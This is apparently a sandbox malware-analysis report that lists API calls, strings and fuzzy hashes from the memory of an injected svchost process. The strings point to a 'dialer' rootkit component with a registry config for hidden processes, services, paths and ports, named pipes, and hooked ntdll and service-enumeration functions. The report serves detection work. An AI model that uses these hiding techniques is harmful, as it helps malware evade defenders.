Instruction ID: 8f8718106759883864cae2a8ca865240e286cea242c12ae6e8bb01d1b0de8f1e
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: F4E06DB5641E45C7EB048F62D8083AA3AE1FB8DF86F04C024C90907351DF7D8599C750

Function 000001F28C93328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001F28C9332AE
PathFindFileNameW.SHLWAPI ref: 000001F28C9332BD

Part of subcall function 000001F28C933844: StrCmpNIW.SHLWAPI ref: 000001F28C93385C

Part of subcall function 000001F28C933790: GetModuleHandleW.KERNEL32 ref: 000001F28C93379E
Part of subcall function 000001F28C933790: GetCurrentProcess.KERNEL32 ref: 000001F28C9337CC
Part of subcall function 000001F28C933790: VirtualProtectEx.KERNEL32 ref: 000001F28C9337EE
Part of subcall function 000001F28C933790: GetCurrentProcess.KERNEL32 ref: 000001F28C933809
Part of subcall function 000001F28C933790: VirtualProtectEx.KERNEL32 ref: 000001F28C93382A

CreateThread.KERNEL32 ref: 000001F28C93330B

Part of subcall function 000001F28C931D14: GetCurrentThread.KERNEL32 ref: 000001F28C931D1F

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: b4d9601b441b195fc890c788491207d0644a6a96c7f54882ecefb715d9f87218
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: B7118471AD0EC382FB60A731F8053F922D4B7543C5F98A1BCD90E87995EF79C0458200

Function 000001F28C931ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001F28C931628: GetProcessHeap.KERNEL32 ref: 000001F28C931633
Part of subcall function 000001F28C931628: HeapAlloc.KERNEL32 ref: 000001F28C931642
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316B2
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316DF
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9316F9
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931719
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931734
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931754
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C93176F
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C93178F
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9317AA
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9317CA

Sleep.KERNEL32 ref: 000001F28C931AD7
SleepEx.KERNELBASE ref: 000001F28C931ADD

Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9317E5
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931805
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931820
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931840
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C93185B
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C93187B
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931896
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9318A0

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b67c1932e62b7ac0013a9a1692b6bd7ceba26b73bf7a76d8ab9135420b3866fa
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 81316871281EC292EB509B36DA512F963F5AB84BD4F0C74B1DE09876BAFF34C851C211

Function 000001F28C933844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001F28C93385C

Strings

dialer, xrefs: 000001F28C933855

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 35bd7b7e84aeabd97046de9deeb150375f1cc12c8c169a2c29cf3a1cf66da4a6
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 3ED05E71391A8786FB149FA688C46B06390AB047C4F8C90B4CE0403550DB38C98E9610

Function 000001F28C1D273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001F28C1D285E

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: f44ca3bbc8084d92389e86a6591f077caaf6d236089e246760dd531db40c924a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: C761A172B41AA287DB988F1590807B97BD2F754BD4F588135DF6907788DB38ECA2C700

Function 000001F28C93CA0C Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 000001F28C93CA4A

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: aac0828ce12dfb82e5a667a172eb8e62085a22ffbd2f9ceececb1565634b64c0
Instruction ID: 37f6b4a35d52c06492a2f816035ee87f2c0b4da3a164c87f2d500a2a78e06805
Opcode Fuzzy Hash: aac0828ce12dfb82e5a667a172eb8e62085a22ffbd2f9ceececb1565634b64c0
Instruction Fuzzy Hash: 9CF085703A1EC385FA64A7B258113F612C04B88BE0F0CA3F0ED2AC72C2DB3C84808620

Non-executed Functions

Function 000001F28C932B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001F28C932BD0
lstrlenW.KERNEL32 ref: 000001F28C932E0A

Part of subcall function 000001F28C93199C: OpenProcess.KERNEL32 ref: 000001F28C9319C2
Part of subcall function 000001F28C93199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001F28C9319E0
Part of subcall function 000001F28C93199C: PathFindFileNameW.SHLWAPI ref: 000001F28C9319EF
Part of subcall function 000001F28C93199C: lstrlenW.KERNEL32 ref: 000001F28C9319FB
Part of subcall function 000001F28C93199C: StrCpyW.SHLWAPI ref: 000001F28C931A0E
Part of subcall function 000001F28C93199C: CloseHandle.KERNEL32 ref: 000001F28C931A1C

GetProcAddress.KERNEL32 ref: 000001F28C932BE5

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

Part of subcall function 000001F28C933844: StrCmpNIW.SHLWAPI ref: 000001F28C93385C

StrCmpNIW.SHLWAPI ref: 000001F28C932C28
lstrlenW.KERNEL32 ref: 000001F28C932D50

Strings

\Device\Nsi, xrefs: 000001F28C932C1B
ntdll.dll, xrefs: 000001F28C932BC9
NtQueryObject, xrefs: 000001F28C932BDB

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 5ddfa2ae8d86f9d74b9217bdca104cd19bacd61b75c306f4a54b144b8a2605f5
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: A3B16776250ED286EB698F35D4417F963E5FB44BC4F4860B6EE0997BA6EB35C880C340

Function 000001F28C937D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001F28C937DAC
RtlCaptureContext.NTDLL ref: 000001F28C937DD9
RtlLookupFunctionEntry.NTDLL ref: 000001F28C937DF3
RtlVirtualUnwind.NTDLL ref: 000001F28C937E34
IsDebuggerPresent.KERNEL32 ref: 000001F28C937E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28C937EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001F28C937EB4

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 315950f2970cd4e23eb0bb7edb8b7cf3ceedc3dc3316b9e43c8c6da18fa3bab3
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: C2313B72245FC19AEB609F60E8807FD73A5F784788F48446ADA4E57B98EF38C648C710

Function 000001F28C93D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001F28C93D31D
RtlLookupFunctionEntry.NTDLL ref: 000001F28C93D335
RtlVirtualUnwind.NTDLL ref: 000001F28C93D370
IsDebuggerPresent.KERNEL32 ref: 000001F28C93D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28C93D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001F28C93D3BE

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: de600b675c99b63b07bfc61b3ea15e563d1fd6e5409b2fafadfe2c025ff4e9af
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: B7316672254FC196EB608B25E8803FE73A4F789798F540166EA9D43BA8EF38C545CB00

Function 000001F28C931628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C931633
HeapAlloc.KERNEL32 ref: 000001F28C931642

Part of subcall function 000001F28C931268: GetProcessHeap.KERNEL32 ref: 000001F28C93126E
Part of subcall function 000001F28C931268: HeapAlloc.KERNEL32 ref: 000001F28C93127D
Part of subcall function 000001F28C931268: GetProcessHeap.KERNEL32 ref: 000001F28C931297
Part of subcall function 000001F28C931268: HeapAlloc.KERNEL32 ref: 000001F28C9312A8

RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316B2
RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316DF
RegCloseKey.ADVAPI32 ref: 000001F28C9316F9
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931719
RegCloseKey.ADVAPI32 ref: 000001F28C931734
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931754
RegCloseKey.ADVAPI32 ref: 000001F28C93176F
RegOpenKeyExW.ADVAPI32 ref: 000001F28C93178F
RegCloseKey.ADVAPI32 ref: 000001F28C9317AA
RegOpenKeyExW.ADVAPI32 ref: 000001F28C9317CA
RegCloseKey.ADVAPI32 ref: 000001F28C9317E5
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931805
RegCloseKey.ADVAPI32 ref: 000001F28C931820
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931840
RegCloseKey.ADVAPI32 ref: 000001F28C93185B
RegOpenKeyExW.ADVAPI32 ref: 000001F28C93187B
RegCloseKey.ADVAPI32 ref: 000001F28C931896
RegCloseKey.ADVAPI32 ref: 000001F28C9318A0

Part of subcall function 000001F28C9312BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C931319
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C931327
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C931338
Part of subcall function 000001F28C9312BC: RegEnumValueW.ADVAPI32 ref: 000001F28C931397
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C9313DF
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C9313ED
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C93140A
Part of subcall function 000001F28C9312BC: HeapFree.KERNEL32 ref: 000001F28C931418
Part of subcall function 000001F28C9312BC: lstrlenW.KERNEL32 ref: 000001F28C931421
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C93142F
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C93143D

Strings

startup, xrefs: 000001F28C9316D5
pid, xrefs: 000001F28C931712
service_names, xrefs: 000001F28C9317C3
SOFTWARE\dialerconfig, xrefs: 000001F28C931692
paths, xrefs: 000001F28C931788
tcp_remote, xrefs: 000001F28C931839
process_names, xrefs: 000001F28C93174D
tcp_local, xrefs: 000001F28C9317FE
udp, xrefs: 000001F28C931874

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: c2eb12f427962f4a473e0d6cdd6568ad5d847194dadf60defaa1d10753933b52
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A871D676250E92C6EB209F76E8906F923E4FB84BCDF046161DE4E57A69EF38C444C744

Function 000001F28C9312BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C931319
GetProcessHeap.KERNEL32 ref: 000001F28C931327
HeapAlloc.KERNEL32 ref: 000001F28C931338
RegEnumValueW.ADVAPI32 ref: 000001F28C931397

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

GetProcessHeap.KERNEL32 ref: 000001F28C9313DF
HeapAlloc.KERNEL32 ref: 000001F28C9313ED
GetProcessHeap.KERNEL32 ref: 000001F28C93140A
HeapFree.KERNEL32 ref: 000001F28C931418
lstrlenW.KERNEL32 ref: 000001F28C931421
GetProcessHeap.KERNEL32 ref: 000001F28C93142F
HeapAlloc.KERNEL32 ref: 000001F28C93143D
StrCpyW.SHLWAPI ref: 000001F28C93145F
GetProcessHeap.KERNEL32 ref: 000001F28C931476
HeapFree.KERNEL32 ref: 000001F28C931484

Strings

d, xrefs: 000001F28C93135A

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 18f95a425c74309a6456fd4bbe7ec78cd519c13267e7c4c7f8ddd63764443e45
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 8E512676244F85C6EB54CF62E5483BAB7E1F789BD9F048134DA4A07B68EF38C1498B00

Function 000001F28C931D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001F28C931D1F

Part of subcall function 000001F28C931FD4: GetModuleHandleA.KERNEL32 ref: 000001F28C931FEC
Part of subcall function 000001F28C931FD4: GetProcAddress.KERNEL32 ref: 000001F28C931FFD

Part of subcall function 000001F28C935B30: GetCurrentThreadId.KERNEL32 ref: 000001F28C935B6B

Strings

NtQueryDirectoryFileEx, xrefs: 000001F28C931D9C
NtEnumerateKey, xrefs: 000001F28C931DB9
EnumServiceGroupW, xrefs: 000001F28C931DF0
NtQuerySystemInformation, xrefs: 000001F28C931D45
EnumServicesStatusExW, xrefs: 000001F28C931E11, 000001F28C931E32
ntdll.dll, xrefs: 000001F28C931D2D
NtEnumerateValueKey, xrefs: 000001F28C931DD6
sechost.dll, xrefs: 000001F28C931E39
NtResumeThread, xrefs: 000001F28C931D62
NtQueryDirectoryFile, xrefs: 000001F28C931D7F
NtDeviceIoControlFile, xrefs: 000001F28C931E56
advapi32.dll, xrefs: 000001F28C931DF7, 000001F28C931E18

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 9487c6cd3bd73dd193c882a9535ab93ec09423b9485fe8c9d985bb2c2d5cc9fb
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: A3318F79280ECBA1EA05EBB5EC616F463A4F7043C4F88A0F3E85953576AF388259C350

Function 000001F28C1D6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28C1D6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28C1D698A
_RTC_Initialize.LIBCMT ref: 000001F28C1D69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28C1D69DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28C1D6A09

Strings

`dynamic initializer for ', xrefs: 000001F28C1D69C7
`eh vector vbase copy constructor iterator', xrefs: 000001F28C1D69EE
`eh vector copy constructor iterator', xrefs: 000001F28C1D6A3B
scriptor', xrefs: 000001F28C1D6B39, 000001F28C1D6BB2, 000001F28C1D6BEC

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 3ae14674ec2a8346f3f84ed9e0c01df585913646f7da2965e941060b61735599
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: F581F0717C0E038AFA54DB66A4C03F96ED0AB85BC0F448935FB498379ADB38E8458700

Function 000001F28C93CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001F28C93CE37
FlsGetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE4C
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE6D
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE9A
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CEAB
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CEBC
SetLastError.KERNEL32 ref: 000001F28C93CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001F28C93ECCC,?,?,?,?,000001F28C93BF9F,?,?,?,?,?,000001F28C937AB0), ref: 000001F28C93CF2C

Part of subcall function 000001F28C93D6CC: HeapAlloc.KERNEL32 ref: 000001F28C93D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF54

Part of subcall function 000001F28C93D744: HeapFree.KERNEL32 ref: 000001F28C93D75A
Part of subcall function 000001F28C93D744: GetLastError.KERNEL32 ref: 000001F28C93D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF76

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: c1dccc9a58c3acbe364e99b3de5aaac7dedc88dfaa24f6078136831367b18d4b
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 274149713C1EC782FA68A73159553FA22C25B84BF4F2C27B4E836076E6EF3998018200

Function 000001F28C932244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001F28C932259
GetCurrentProcessId.KERNEL32 ref: 000001F28C932263

Part of subcall function 000001F28C931934: OpenProcess.KERNEL32 ref: 000001F28C931952
Part of subcall function 000001F28C931934: IsWow64Process.KERNEL32 ref: 000001F28C931968
Part of subcall function 000001F28C931934: CloseHandle.KERNEL32 ref: 000001F28C931983

CreateFileW.KERNEL32 ref: 000001F28C9322BC
WriteFile.KERNEL32 ref: 000001F28C9322E4
ReadFile.KERNEL32 ref: 000001F28C932303
CloseHandle.KERNEL32 ref: 000001F28C93230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000001F28C93228C
\\.\pipe\dialerchildproc32, xrefs: 000001F28C932293

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 57cb264d3990d0bdc8e496bdce57bc45f54469c11ba177c15f029bb998e39be8
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: BE213876658E82C2EB209B25F4443BA67E0F789BE5F544265EA5907AA8DF3CC149CB00

Function 000001F28C1D9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28C1D99A1

Part of subcall function 000001F28C1DA814: __GetUnwindTryBlock.LIBCMT ref: 000001F28C1DA857
Part of subcall function 000001F28C1DA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28C1DA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28C1D9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28C1D9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28C1D9DDA

Strings

csm, xrefs: 000001F28C1D9A22
csm, xrefs: 000001F28C1D9A9C
csm, xrefs: 000001F28C1D99BB

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: a9609446f00a766f3d3b655ef47b5d2ff7605ba4997714f758606ca2dc9d6f4c
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 38E15672644F828AEB609F65E4803ED7BE0F755BD8F104125EB8957B9ACF38E491C740

Function 000001F28C93A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28C93A5A1

Part of subcall function 000001F28C93B414: __GetUnwindTryBlock.LIBCMT ref: 000001F28C93B457
